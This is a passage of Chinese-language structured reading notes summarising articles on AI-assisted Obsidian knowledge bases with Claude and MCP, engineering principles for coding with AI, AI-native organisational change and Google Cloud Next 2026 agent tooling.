- 無論是 Garry 的 10 萬頁還是 J叔的分佈式三端，對普通人來說門檻依然極高。這需要極強的邏輯抽象能力與常年維護筆記的紀律。對於沒有寫作與覆盤習慣的人，建再多 Vault 也是空的。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 本文完美總結了我們近期處理的所有文章！《Open Design》展示了 Skill 的威力，《Hermes Analyst Workflow》展示了 Thin Harness 的架構，《如何成為 AI-Native》呼籲建立機制。而 J叔的這篇解讀，把所有的概念串起來，並補上了軟體工程中最重要的一塊拼圖：**架構治理 (Governance)**。
- **深層洞見**: **「錯誤本身改寫了系統結構，使得同類錯誤在結構上不可能再發生。」** 這句話區分了「使用 AI 的人」和「建造 AI 的人」。前者每次出錯都在對話框裡罵 AI；後者出錯時，會冷靜地在系統層寫下一條新的 `SKILL.md` 鐵律。
- **行動呼籲**:
立刻執行 J叔給出的平民版三步走：
1. 打開 Obsidian（或者你的本地 Markdown 筆記）。
2. 用 Claude Code 呼叫一個閱讀指令。
3. 讓 Claude 把這本書的觀點，與你筆記本裡某一篇「你寫下的真實日記或復盤」進行強制關聯比對。
去體會一次大腦被 AI 延伸的震撼感，現在還來得及。
知識管理
你的 Obsidian 知識庫正在浪費你的智商 (Your Obsidian Vault Is Probably Wasting Your Intelligence)
"這篇文章犀利地批判了傳統「第二大腦」知識管理方法的痛點：只注重收集與整理，卻忽略了「合成與洞見」。作者提出了一個四層架構（捕獲、自動化、記憶體、智能），將 Obsidian 作為底層資料庫，並由 Claude 擔任認知夥伴。文章特別強調 的關鍵作用，指出當 AI 擁有了你過去 6 個月的連續思考上下文時，它將不再是一個給標準答案的 Chatbot，而是能主動發現知識關聯的超級大腦。"
---
tags: [知識管理, Obsidian, 系統設計, 認知科學]
date: 2026-05-10
source: "20260512_2026-05-12T093053+0800-Your Obsidian Vault Is Probably Wasting Your Intelligence.md"
---
# 你的 Obsidian 知識庫正在浪費你的智商 (Your Obsidian Vault Is Probably Wasting Your Intelligence)
原始來源與檔名：20260512_2026-05-12T093053+0800-Your Obsidian Vault Is Probably Wasting Your Intelligence.md
來源：[[@NainsiDwiv50980]] / X (Twitter) — 2026-05-10
原始檔名：`2026-05-12T093053+0800-Your Obsidian Vault Is Probably Wasting Your Intelligence.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Traditional 2nd Brain = Capture + Organize -> Graveyard of forgotten ideas
> AI-Native 2nd Brain = Frictionless Capture + Automation + Memory (Obsidian) + Intelligence (Claude)
> Outcome = Context-Aware Cognitive Partner > Chatbot
_多數人的 Obsidian 不是第二大腦，而是「被遺忘想法的精美墓地」。如果筆記系統需要人類依賴紀律去整理和回憶，它注定會崩潰。真正的突破不是更好的資料夾結構，而是將無阻力的自動擷取（N8N/Whisper），結合具備你所有上下文的 AI (Claude)。讓 AI 每天早上主動翻閱你的筆記，幫你找出連你自己都沒意識到的跨時空認知模式。_
### 一句話
> 這篇文章犀利地批判了傳統「第二大腦」知識管理方法的痛點：只注重收集與整理，卻忽略了「合成與洞見」。作者提出了一個四層架構（捕獲、自動化、記憶體、智能），將 Obsidian 作為底層資料庫，並由 Claude 擔任認知夥伴。文章特別強調 `CLAUDE.md` 的關鍵作用，指出當 AI 擁有了你過去 6 個月的連續思考上下文時，它將不再是一個給標準答案的 Chatbot，而是能主動發現知識關聯的超級大腦。
### 餐巾紙草圖
```text
[The Frictionless Intelligence System]
[ 1. Capture ] (Readwise, Whisper, Telegram bots) -> Zero friction input
|
[ 2. Automation ] (N8N) -> Routes everything silently
|
[ 3. Memory ] (Obsidian Vault) -> The chronological map of your thinking
|
[ 4. Intelligence ] (Claude + CLAUDE.md)
|
v
[ Output ] Daily Synthesis: Surfaces contradictions, notices hidden patterns, asks hard questions.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **痛點**: 網路造就了無盡消費卻極少合成的世代。人們在 Obsidian 裡建構了完美的資料夾，卻從未從中獲得認知槓桿。問題不在於知識獲取，而在於「連結」。
- **反紀律系統**: 如果筆記系統需要意志力去維護，它就會失敗。目標不是「組織」，而是「認知」。
- **四層架構**:
1. **Capture (捕獲)**: 降至零阻力的輸入（語音、截圖、外掛）。
2. **Automation (自動化)**: N8N 在背景自動路由，不需手動歸檔。
3. **Memory (記憶體)**: Obsidian 作為永久的上下文圖譜。
4. **Intelligence (智能)**: Claude 作為分析引擎。
- **CLAUDE.md 的核心地位**: 這是系統中最重要的一個檔案，它教導 Claude 了解你的身份、目標、癡迷與掙扎。沒有它，AI 就是通用的；有了它，AI 才是你的影子。
- **主動回饋 (The Vault Talks Back)**: AI 每天早上審視你的筆記，指出幾週前與幾個月前想法的矛盾或趨勢。
- **護城河**: 持續累積半年的高關聯性上下文，將是 AI 時代個人最大的競爭優勢。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **整理知識不等於產生智慧**: 傳統知識管理（如 Zettelkasten 或 PARA 早期實踐）過度強調了 Tag 和 Link 的手動勞動。作者直指本質：大腦的帶寬應該用來「思考」，而不是用來「維護機器」。自動化是解放認知帶寬的唯一解。
2. **AI 的價值在於「跨時空連結」**: 人類大腦的短期記憶極其有限，很容易忘記三個月前寫下的某個絕佳靈感。當 Claude 獲得整個 Vault 的 Context 時，它填補了人類大腦最弱的一環——在大尺度時間線上尋找隱藏的模式與矛盾。
3. **上下文累積的複利效應**: 一個月的系統只覺得「有用」，六個月的系統會讓人覺得「不公平的強大」。這回應了科技界對 AI 的終極追求：真正的壁壘不是你用了多強的模型（GPT 或 Opus），而是模型內含的私有知識密度（Context）。
### 關鍵證據
- 點出了極具共鳴的現象："Smart people feel mentally overloaded despite consuming more information... (聰明人儘管消費了史上最多的資訊，卻感到大腦超載...)"。這種症狀完美驗證了「缺乏系統連結的碎片化輸入是毒藥」。
### 邊界條件
- 雖然理論完美，但作者略過了 N8N 自動化路由與 Claude 接取 Obsidian Vault 之間的技術實作細節。這需要依賴進階的本地 API 腳本或像 `obsidian-cli`、`OpenClaw` 這類的 Agent 框架才能實現，對純文商科用戶仍有不小的技術門檻。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美契合了 YC CEO Garry Tan 的《Meta-Meta-Prompting》架構！Garry Tan 的 GBrain 實質上就是這篇文章所描述的終極型態。同時，文中強調的 `CLAUDE.md` 也呼應了我們先前學到的《寫好 CLAUDE.md 的 8 條經驗》——它不是百科全書，而是行為契約。
- **深層洞見**: **"Accumulated context is one of the biggest competitive advantages nobody talks about yet." (累積的上下文，是目前無人談論的最大競爭優勢。)** 當每個人都能用 20 美元買到世界上最聰明的大腦（模型）時，你餵給這個大腦的「獨特生命經驗與思考痕跡」，就成了你唯一的不可替代性。
- **行動呼籲**:
1. 不要等完美的架構。今天就在 Obsidian 開一個新檔案，隨便記下 5 個你最近卡住的問題或靈感。
2. 寫一個簡單的 `CLAUDE.md`（我是誰、我在做什麼、我最在乎的價值觀）。
3. 用 AI 讀取這 5 篇筆記與 `CLAUDE.md`，問它：「你從中看到了什麼我沒發現的盲點？」體驗一次知識庫「開口說話」的震撼。
知識管理
能自我迭代的知識庫：當 Obsidian 學會自己寫入 (The Self-Writing Obsidian Vault Architecture)
"這是一篇極具實操價值的架構指南。作者打破了筆記軟體的「單向存儲」宿命，提出了一套三層架構（Obsidian 資料層、MCP 連接層、Claude 智能層），讓知識庫能夠「自我寫入」。文章詳細公開了資料夾結構（新增 與 ）、MCP 配置檔，以及由 N8N 驅動的六大自動化工作流（每日上下文、連結發現、佇列處理等），徹底將個人知識庫轉變為具備複利效應的認知引擎。"
---
tags: [知識管理, Obsidian, 系統設計, 自動化]
date: 2026-05-09
source: "20260512_2026-05-12T093140+0800-Your Obsidian Vault Can Now Write Back to Itself. Here's the Architecture Nobody's Talking About.md"
---
# 能自我迭代的知識庫：當 Obsidian 學會自己寫入 (The Self-Writing Obsidian Vault Architecture)
原始來源與檔名：20260512_2026-05-12T093140+0800-Your Obsidian Vault Can Now Write Back to Itself. Here's the Architecture Nobody's Talking About.md
來源：[[@cyrilXBT]] / X (Twitter) — 2026-05-09
原始檔名：`2026-05-12T093140+0800-Your Obsidian Vault Can Now Write Back to Itself. Here's the Architecture Nobody's Talking About.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Passive Vault = Data In -> Storage -> Waiting for manual search
> Active Vault = Layer 1 (Obsidian Files) + Layer 2 (MCP Bridge) + Layer 3 (Claude + N8N Workflows)
> Output = The Vault reads itself, synthesizes daily context, discovers hidden connections, and writes outputs back automatically.
_你的 Obsidian 筆記庫不該只是一個單向的「文件墳墓」。透過 MCP (Model Context Protocol) 賦予 Claude 讀寫權限，並用 N8N 排程自動化工作流，你的 Vault 將升級為一個「自動情報中心」。它會趁你睡覺時，自動總結昨天的未完成事項、找出舊筆記與新想法之間隱藏的連結、並提煉知識精華。這不是一個生產力工具，而是一個「思維放大器」。_
### 一句話
> 這是一篇極具實操價值的架構指南。作者打破了筆記軟體的「單向存儲」宿命，提出了一套三層架構（Obsidian 資料層、MCP 連接層、Claude 智能層），讓知識庫能夠「自我寫入」。文章詳細公開了資料夾結構（新增 `07-Generated` 與 `08-Queue`）、MCP 配置檔，以及由 N8N 驅動的六大自動化工作流（每日上下文、連結發現、佇列處理等），徹底將個人知識庫轉變為具備複利效應的認知引擎。
### 餐巾紙草圖
```text
[The Self-Writing Vault Architecture]
[ N8N Schedulers ] (Cron / File Watchers)
|
[ Layer 3: Claude Intelligence ] (Prompt + CLAUDE.md Constitution)
|
[ Layer 2: MCP Bridge ] (Direct filesystem read/write access)
|
[ Layer 1: Obsidian Vault ]
├── 01 - Projects/ (Auto-updated overviews)
├── 06 - Daily Notes/
├── 07 - Generated/ <-- Where Claude writes syntheses & connections
└── 08 - Queue/ <-- Where you drop task files for async processing
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **典範轉移**: 從「檔案庫 (Archival)」轉變為「營運中心 (Operational)」。系統不再只是等待你搜尋，而是主動讀取、處理並生成新文件。
- **三層架構**:
- Layer 1 (知識層): 結構化的 Obsidian Markdown 檔案 (PARA 修改版)。
- Layer 2 (連接層): MCP 賦予 Claude 直接讀寫檔案系統的權限。
- Layer 3 (智能層): Claude 透過預設的 Agent Workflow 進行操作。
- **關鍵資料夾**: `07 - Generated` (所有自動生成的產物存放地) 與 `08 - Queue` (非同步指派給 Claude 的任務佇列)。
- **六大自動工作流 (經由 N8N 觸發)**:
1. **Daily Context Generator (每日上下文)**: 清晨自動統整專案狀態與 Open loops。
2. **Connection Finder (連結發現者)**: 尋找新筆記與舊筆記間「非顯而易見」的連結。
3. **Queue Processor (佇列處理)**: 自動處理 `08-Queue` 裡的工作（如：研究、摘要）。
4. **Weekly Synthesis (週度回顧)**: 總結一週的進展、阻礙與模式。
5. **Project Auto-Updater (專案自動更新)**: 偵測到專案資料夾變動時，自動更新專案 Overview。
6. **Knowledge Distillation (知識蒸餾)**: 每月一次，將零散的資源壓縮成高密度的精華筆記。
- **憲法 (CLAUDE.md)**: 定義系統邊界與防呆規則（如：絕對不准刪除檔案、自動寫入必須存放在 07-Generated）。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **結構是自動化的前提**: 為什麼傳統的 Zettelkasten (卡片盒筆記) 難以被 AI 完全接管？因為缺乏預期性。作者設計的 `07-Generated` 和 `08-Queue` 解決了這個問題。這創造了一個清晰的「讀/寫邊界」，防止 AI 的產出污染人類的原始思考，這符合極佳的系統隔離原則。
2. **解決人類「認知帶寬 (Cognitive Bandwidth)」的物理限制**: 我們無法在腦中同時掛載 2000 篇筆記。Connection Finder 工作流的核心價值在於：AI 可以無情地掃描全庫，找出 8 個月前寫下的某句話與你今天遇到的問題之間的關聯。這是人類因遺忘曲線而無法做到的事。
3. **非同步 (Asynchronous) 是生產力的終極型態**: 傳統與 AI 的互動是同步的（你等它打字）。透過 `08-Queue` 和 N8N，你可以在半夜丟一個 `RESEARCH-quantum.md` 到資料夾裡，AI 兩小時後在背景處理完。你永遠不需要「等」AI，AI 成為了真正的背景工作行程。
### 關鍵證據
- 給出了極度具體的 MCP 配置 JSON (`claude_desktop_config.json`) 以及 `CLAUDE.md` 的範本，這些不是概念，而是直接可複製貼上並在本地環境運行生效的工程配置。
### 邊界條件
- **維護成本與安全性**: 雖然 N8N 便宜，但維護這套系統依然需要工程能力。此外，賦予大模型修改本地檔案系統的權限具有潛在風險（儘管有 `CLAUDE.md` 的規則限制），萬一 Prompt Injection 導致誤刪文件，若沒有良好的 Git 備份機制，將會是災難。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 這是對《Your Obsidian Vault Is Probably Wasting Your Intelligence》最完美的實作回應！那篇文章提出了理論，這篇文章給出了源碼架構。同時，它完美契合了《Contextmaxxing》，因為這套系統本質上就是一個在本地端運行的 "Company Brain"（只是這裡的 Company 是你自己）。
- **深層洞見**: **"Raw notes accumulate detail and context. Distillations accumulate insight and clarity. The combination of both is more valuable than either alone." (原始筆記累積細節與上下文。蒸餾筆記累積洞見與清晰度。兩者的結合遠比單獨存在更有價值。)** AI 的角色不是取代原始紀錄，而是擔任那個無情的「蒸餾器」，榨出時間維度上的複利。
- **行動呼籲**:
立刻在你的 Obsidian 或知識庫中建立一個 `CLAUDE.md` 檔案，寫下這三行：
1. 我的核心價值與工作目標。
2. 絕對不允許修改的資料夾。
3. AI 生成的內容必須加上明顯的 `[AI-Generated]` 標籤。
這是你把大腦外包給機器的第一道安全閥。
系統工程
AI 程式設計的底層原則：壞程式碼在 AI 時代更為致命
"別以為有了 AI 就可以亂寫程式。在架構混亂的專案裡，AI 只會加速系統的崩潰。你必須用「Grill Me」技巧讓 AI 瘋狂追問你以對齊概念；用「通用語言」統一你們的對話詞彙；用 TDD (測試驅動) 限制 AI 一次不要寫太多；並且將系統重構成「介面極簡、內部複雜」的深模組 (Deep Modules)。AI 只是前線步兵，你必須是運籌帷幄的戰略指揮官，你的老派軟體工程基礎知識，現在是稀缺資源。"
---
tags: [系統工程, 開發框架]
date: 2026-05-09
source: "20260512_2026-05-12T093156+0800-AI 编程的底层原则.md"
---
# AI 程式設計的底層原則：壞程式碼在 AI 時代更為致命
原始來源與檔名：20260512_2026-05-12T093156+0800-AI 编程的底层原则.md
來源：[[@SaitoWu]] / X — 2026-05-09
原始檔名：`2026-05-12T093156+0800-AI 编程的底层原则.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Bad Code in AI Era = Exponential Entropy (AI amplifies mess).
> Vibe Coding / Specs-to-code = Divesting from Design.
> AI Workflow = Grill Me (Shared Blueprint) + Ubiquitous Language + TDD (Fast Feedback) + Deep Modules.
_Matt Pocock 在他的演講中打破了「AI 時代隨便寫 Code 就好」的迷思。他指出，盲目依賴「寫規格讓 AI 產 Code (Specs-to-code)」本質上是一種放棄設計的 "Vibe Coding"。在爛代碼庫中，AI 只會在混亂上堆疊混亂。真正的軟體工程原則（如領域驅動設計的通用語言、TDD 測試驅動開發、以及 Ousterhout 提出的「深模組 Deep Modules」）在 AI 時代比過去 20 年更值錢。工程師的職責不再是敲鍵盤，而是「守住設計邊界」。_
### 一句話
> 別以為有了 AI 就可以亂寫程式。在架構混亂的專案裡，AI 只會加速系統的崩潰。你必須用「Grill Me」技巧讓 AI 瘋狂追問你以對齊概念；用「通用語言」統一你們的對話詞彙；用 TDD (測試驅動) 限制 AI 一次不要寫太多；並且將系統重構成「介面極簡、內部複雜」的深模組 (Deep Modules)。AI 只是前線步兵，你必須是運籌帷幄的戰略指揮官，你的老派軟體工程基礎知識，現在是稀缺資源。
### 餐巾紙草圖
```text
[ Shallow vs. Deep Modules in AI Coding ]
SHALLOW MODULES (Bad for AI)
[ Complex Interface ] -> [ Little functionality ]
* AI gets lost in a maze of details. It breaks things easily.
DEEP MODULES (Ideal for AI)
[ Simple Interface ] -> [ Massive, hidden functionality ]
* AI treats it as a black box. It modifies internals safely without breaking the whole system.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **破除迷思**: Code 變便宜了？錯。壞程式碼在 AI 時代最貴。在缺乏設計的架構下，AI 會引發「熵 (Entropy) 爆炸」。
- **解決方案一：對齊設計藍圖 (Grill Me)**:
- AI 寫錯是因為沒有 Shared Design Concept。
- 使用 `Grill Me` 提示詞，讓 AI 放棄直接寫 Code，先問你 40 個問題，直到理清需求樹的所有分支。
- **解決方案二：統一領域詞彙 (Ubiquitous Language)**:
- 借鑒 DDD。讓 AI 掃描代碼庫，提取術語表 (Markdown 表格)。
- 避免你說「用戶」，AI 改「帳戶」的悲劇，大幅縮短 AI 的思考與廢話。
- **解決方案三：控制反饋速率 (TDD)**:
- 速率限制就是反饋速率。AI 喜歡一次寫一大坨，然後除錯地獄。
- 強制 TDD (先寫測試，再寫實作)，逼迫 AI 踩煞車，小步快跑。
- **解決方案四：重構成深模組 (Deep Modules)**:
- 壞程式 = 很多淺模組 (功能少，介面複雜)。
- 好程式 = 少量深模組 (功能多，介面極簡)。
- AI 最喜歡深模組，因為它只需理解極簡的介面，就能大膽修改內部細節。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **AI 是放大器，不是重構器**: Specs-to-code 模式的問題在於，每次只修改規格而不關注整體架構，會導致系統逐漸腐化。AI 不會主動做高階架構抽象，它只會「在現有的泥沼中，幫你蓋出更精緻的泥巴屋」。
2. **工程師角色的轉變**: 你的大腦無法追上 AI 產出程式碼的速度。因此，你必須把模組當成「灰盒」。你的職責是定義介面、編寫邊界測試、維護領域語言，而將具體的 if/else 實作細節外包給 AI。
### 關鍵證據
- 引用了多本軟體工程聖經的核心概念：Frederick P. Brooks 的《The Design of Design》(概念對齊)、Kent Beck 的 TDD、John Ousterhout 的《A Philosophy of Software Design》(深模組)。這些幾十年前的智慧，在面對當前最先進的 LLM 時，依然是控制系統複雜度的唯一解法。
### 邊界條件
- **何時 Specs-to-code 是對的**: 文章強烈批判 Specs-to-code，但這主要針對「複雜的大型系統」。對於從零開始的單頁應用、拋棄式腳本，Vibe Coding / Specs-to-code 依然是快速驗證想法的有效手段。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 呼應了《ADLC 開發方式》與《SDD Writing Specifications for AI BDD》。Grill Me 就是一種協作推導 Spec 的過程；TDD 則是與 BDD 緊密結合的實作手段。這些文章共同指向一個結論：AI 時代的開發，核心在於建立「嚴謹的合約 (Contracts)」。
- **深層洞見**: **"AI 沒理解你，是因為你們沒有共享藍圖... 把概念對齊。"** 我們常常抱怨 AI 幻覺，但實際上是人類自己的意圖模糊不清。AI 只是一面鏡子，照出了我們在設計階段的偷懶。
- **行動呼籲**:
立刻在你的專案中引入 `Ubiquitous Language`。讓 Claude Code 掃描你的專案，產出一份 `GLOSSARY.md`，定義什麼是 Account，什麼是 User，什麼是 Subscription。將這份文件加入你的系統提示詞或 `AGENTS.md` 中。這會是你提升 AI 程式碼精準度投資報酬率最高的一步。
系統工程
BestBlogs EP53：AI Native 時代的組織變革與技術突破
"AI 改變的不只是寫程式的速度，而是「組織」本身的物理定律。以前的組織架構是為了配合人類「溝通會衰減、注意力有限」的缺點而設計的。當 AI 成為新的協作主體，它沒有溝通衰減，但極度依賴結構化數據。這迫使企業必須建立極度結構化的底層 (Harness)，才能釋放人類在上層 (Hive Mind) 的創造力。同時，工程師也發現，比起 Markdown，讓 AI 輸出 HTML 網頁能更高效地呈現複雜資訊。"
---
tags: [系統工程, 開發框架]
date: 2026-05-10
source: "20260512_2026-05-12T093152+0800-EP53 · AI Native 时代：组织变革、Claude Code HTML 奇效与语音 AI 突破 · 05.10 早报.md"
---
# BestBlogs EP53：AI Native 時代的組織變革與技術突破
原始來源與檔名：20260512_2026-05-12T093152+0800-EP53 · AI Native 时代：组织变革、Claude Code HTML 奇效与语音 AI 突破 · 05.10 早报.md
來源：[[@hongming731]] / BestBlogs — 2026-05-10
原始檔名：`2026-05-12T093152+0800-EP53 · AI Native 时代：组织变革、Claude Code HTML 奇效与语音 AI 突破 · 05.10 早报.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Org Chart (Human constraint) -> Execution Graph (AI scaling).
> AI BottleNeck != Model IQ. Bottleneck = Unstructured Information.
> Architecture: Harness Layer (Ultra-structured, AI-led) + Hive Mind Layer (Loose, Human-led).
_本期早報精選了三篇深度洞察：1) AI 正在瓦解以「人的管理跨度」為基礎的組織架構，企業的運作模式正從 Org Chart (組織圖) 演變為 Execution Graph (執行圖)。AI 暴露出企業過去依靠「人肉溝通」掩蓋的非結構化資訊瓶頸。2) 在 AI 程式設計中，HTML 意外地取代 Markdown 成為更好的輸出格式，因為它能承載更豐富的資訊與互動性。3) 語音 AI 要達到《雲端情人》(Her) 的境界，仍需跨越「延遲、全雙工、成本」三道技術硬傷。_
### 一句話
> AI 改變的不只是寫程式的速度，而是「組織」本身的物理定律。以前的組織架構是為了配合人類「溝通會衰減、注意力有限」的缺點而設計的。當 AI 成為新的協作主體，它沒有溝通衰減，但極度依賴結構化數據。這迫使企業必須建立極度結構化的底層 (Harness)，才能釋放人類在上層 (Hive Mind) 的創造力。同時，工程師也發現，比起 Markdown，讓 AI 輸出 HTML 網頁能更高效地呈現複雜資訊。
### 餐巾紙草圖
```text
[ AI Native Organization Architecture ]
HIVE MIND LAYER (Human-led)
- Messy, creative, Yes-and culture
- Brainstorming, ideation, dialogue
↑ ↓ (Clear translation boundaries)
HARNESS LAYER (AI-led)
- Ultra-structured, deterministic
- Spec-Driven Development, Tests, CI/CD, World Models
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **精講一：組織變革 (Org Chart to Execution Graph)**
- 傳統組織架構 (Org Chart) 受限於人類的「管理跨度」(3-8人)。
- AI 是人類的鏡像：無溝通衰減、無切換成本、無窮記憶力。
- 導入 AI 的最大痛點不是模型笨，而是「資訊形態的人形偏置」——企業過去容忍的非結構化爛資料，AI 無法消化。
- 解法：雙層架構。極度結構化的底層 (Harness) 支撐極度鬆散的創造層 (Hive Mind)。
- **精講二：Claude Code 的 HTML 奇效**
- Markdown 易於人類編輯，但在 AI 生成時代，人類越來越少手動編輯。
- HTML 取代 Markdown 的優勢：資訊密度高 (表格/CSS/SVG)、視覺清晰度好、易於分享、支援雙向互動 (如可調滑桿)。
- **精講三：語音 AI 的「Her」時刻障礙**
- 障礙一：延遲 (級聯系統 TTS 耗時太長)。
- 障礙二：半雙工轉全雙工 (無法自然處理插話與打斷)。
- 障礙三：成本與規模化 (依賴端側模型如 Phoneon 降低 API 成本)。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **AI 暴露了企業的技術債**: 過去，當系統文件缺失或 API 沒寫清楚時，工程師可以「走過去問老王」。人類的隱性知識掩蓋了系統的殘缺。當 AI 接管執行時，它無法「問老王」，因此那些未結構化的知識立刻成為系統的致命瓶頸。
2. **結構化是為了釋放自由**: 為什麼 Anthropic 這種頂尖 AI 公司需要最嚴格的 Harness (基礎設施)？因為只有底層的測試、部署、文件是 100% 確定且機器可讀的，上層的人類才能毫無顧忌地發散創意。
### 關鍵證據
- 阿里內部的訪談數據：深度使用 AI 的工程師，寫 Code 的時間從 30% 降到 5%，而和 Agent 對話的時間從 5% 升到 60%。且一天內能完成以前 6 週的「上線 -> A/B 測試 -> 下線 -> 迭代」循環。這證明了工作節奏已經脫離了傳統敏捷開發 (Agile) 的雙週 Sprint 框架。
### 邊界條件
- **HTML 的代價**: 雖然 HTML 在資訊呈現上優於 Markdown，但它也伴隨著 2-4 倍的 Token 消耗、XSS 安全風險，以及在版本控制 (git diff) 中極差的可讀性。它適合做為「展示品」，但不適合做為「協作程式碼庫」。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**:
- 與《SDD Writing Specifications for AI BDD》呼應：SDD 就是在建立 Harness 層。
- 與《The Unreasonable Effectiveness of HTML》呼應：HTML 是另一種形式的結構化輸出。
- **深層洞見**: **"AI 沒有『猜』和『問老王』的能力，它需要結構化、可查詢、確定性的信息。"** 這是推動「規格驅動開發 (SDD)」與「建立 AGENTS.md」的核心動力。在 AI 時代，技術寫作 (Technical Writing) 和基礎架構治理，比單純寫演算法更具備生產力槓桿。
- **行動呼籲**:
檢視你的團隊架構。如果你的團隊依然花費大量時間在「開會同步進度」和「人肉搬運數據」，這說明你們還停留在 Org Chart 時代。嘗試將一項例行性工作（如：整理週報、API 測試）建立明確的「執行圖 (Execution Graph)」，並交由 Agent 自動運行。
系統工程
Google Cloud Next 2026：當 AI Agent 變成標準工程解答
"AI Agent 已經脫離了「只能在本地終端機跑的腳本」階段。Google Cloud Next 2026 告訴我們，現在的 Agent 開發已經像寫微服務一樣標準化：用框架 (ADK) 開發、透過 A2A 協定讓 Agent 互相對話、加上嚴格的監控雷達防止它亂講話，最後透過 CI/CD 直接部署到雲端 (Cloud Run)。未來的工程師必須習慣把「具有工作能力的 Agent」當作基礎設施的一部分來管理。"
---
tags: [系統工程, 開發框架]
date: 2026-04-24
source: "20260512_2026-05-06T095758+0800- Google Cloud Next 2026 當 AI Agent 變成工程解答時，會發生什麼事情.md"
---
# Google Cloud Next 2026：當 AI Agent 變成標準工程解答
原始來源與檔名：20260512_2026-05-06T095758+0800- Google Cloud Next 2026 當 AI Agent 變成工程解答時，會發生什麼事情.md
來源：[[Simon Liu]] / Medium — 2026-04-24
原始檔名：`2026-05-06T095758+0800- Google Cloud Next 2026 當 AI Agent 變成工程解答時，會發生什麼事情.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Agent Engineering = Standardized Frameworks (ADK) + Multi-Agent Protocols (A2A) + Enterprise Observability + DevOps Integration.
> AI is no longer magic; it's just another deployable microservice on Cloud Run.
_從 Google Cloud Next 2026 的發表會中可以觀察到一個明確趨勢：AI Agent 的開發已經從「實驗室玩具」轉變為「企業級工程」。透過 Google ADK 或 Agent Designer 等工具，Agent 的架構逐漸標準化。A2A (Agent-to-Agent) 協定的出現解決了多智能體之間的溝通混沌；可觀測性工具讓企業敢於將 Agent 部署到生產環境；而整合 Terraform 與 CI/CD 水管，代表 Agent 已經正式融入傳統 DevOps 的生命週期。_
### 一句話
> AI Agent 已經脫離了「只能在本地終端機跑的腳本」階段。Google Cloud Next 2026 告訴我們，現在的 Agent 開發已經像寫微服務一樣標準化：用框架 (ADK) 開發、透過 A2A 協定讓 Agent 互相對話、加上嚴格的監控雷達防止它亂講話，最後透過 CI/CD 直接部署到雲端 (Cloud Run)。未來的工程師必須習慣把「具有工作能力的 Agent」當作基礎設施的一部分來管理。
### 餐巾紙草圖
```text
[ Enterprise Agent Infrastructure ]
1. Development: Google ADK / Agent Designer (Standardized coding)
2. Communication: A2A 1.0 (Structured Multi-Agent protocols)
3. Safety/Control: Observability (Tracing Tools, Skills, Memories)
4. Deployment: Terraform -> Gitlab CI/CD -> Cloud Run (DevOps integration)
Result: Agents as reliable, deployable engineering solutions.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **背景**: 作者以 Google Developer Expert (GDE) 的身份參與 Google Cloud Next 2026，分享對 Agentic AI 發展的觀察。
- **五大核心觀察**:
1. **架構標準化**: 借助 Google ADK 與自然語言驅動的 Agent Designer，Agent 的建立速度與規範已大幅成熟。
2. **A2A (Agent-to-Agent) 溝通**: A2A 1.0 的到來讓 Multi-Agent 系統不再是混沌的文本對話，而是具備結構化、可預期的溝通機制。
3. **可監控性 (Observability)**: 企業導入 Agent 的最大阻礙是「不可控」。透過監控 Agents、Tools、Skills、Memories 的關聯，RAG 等技術能被更安全地納入系統。
4. **雲端部署 (DevOps)**: Agent 專案已經可以透過 GitHub/GitLab、Terraform，走標準 CI/CD 流程無縫部署至 Google Cloud Run。
5. **資安與信任**: 建立擁有地端/主權模型能力的資安環境，是企業信任並讓 Agent 處理實務工作的先決條件。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **基礎設施的演進**: 任何技術要進入主流企業，都必須過「DevOps」這關。文章指出，當你可以用 Terraform 去定義一個 Agent 的基礎設施，並用 CI/CD 推送到 Cloud Run 時，這代表 Agent 已經從「演算法層面」落地到「軟體工程層面」。
2. **多智能體協作的關鍵**: A2A 協定的出現，解決了過去多個 Agent 互動時容易產生「死鎖」或「幻覺對話」的問題。Agent 知道自己在跟誰溝通、該用什麼格式，這是實現複雜系統架構的基石。
### 關鍵證據
- 提到的 Google ADK、Agent Designer 以及 A2A 1.0 等具體產品/協定，都是大型雲端供應商（Google）為了「規範化」Agent 生態所打造的基建。這證明了業界正在用制定標準的方式，收編過去兩年野蠻生長的開源 Agent 框架。
### 邊界條件
- **企業採用門檻**: 雖然工具成熟，但文章強調「安全環境」與「監控」。這意味著沒有 DevOps 團隊與資安審查機制的微型團隊，可能還無法充分享受這套企業級 Agent 基建帶來的規模化好處。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 呼應了《ADLC 開發方式》一文。Google Cloud Next 的發表，實際上就是提供了實作 ADLC (Agentic Development Lifecycle) 所需的工具鏈：從標準化開發、行為契約 (A2A)，到可觀測性與 IaC 部署。
- **深層洞見**: **「聘僱『員工』就要保護『員工』... 讓部分事情能夠交給 AI Agent 去做實作。」** 將 Agent 視為「數位員工」而非單純的「程式碼」。對待數位員工，我們不需要重寫它的神經網路，而是要給它明確的職責範圍 (A2A 介面)、工作手冊 (ADK Tools)，並對它進行績效考核 (Observability)。
- **行動呼籲**:
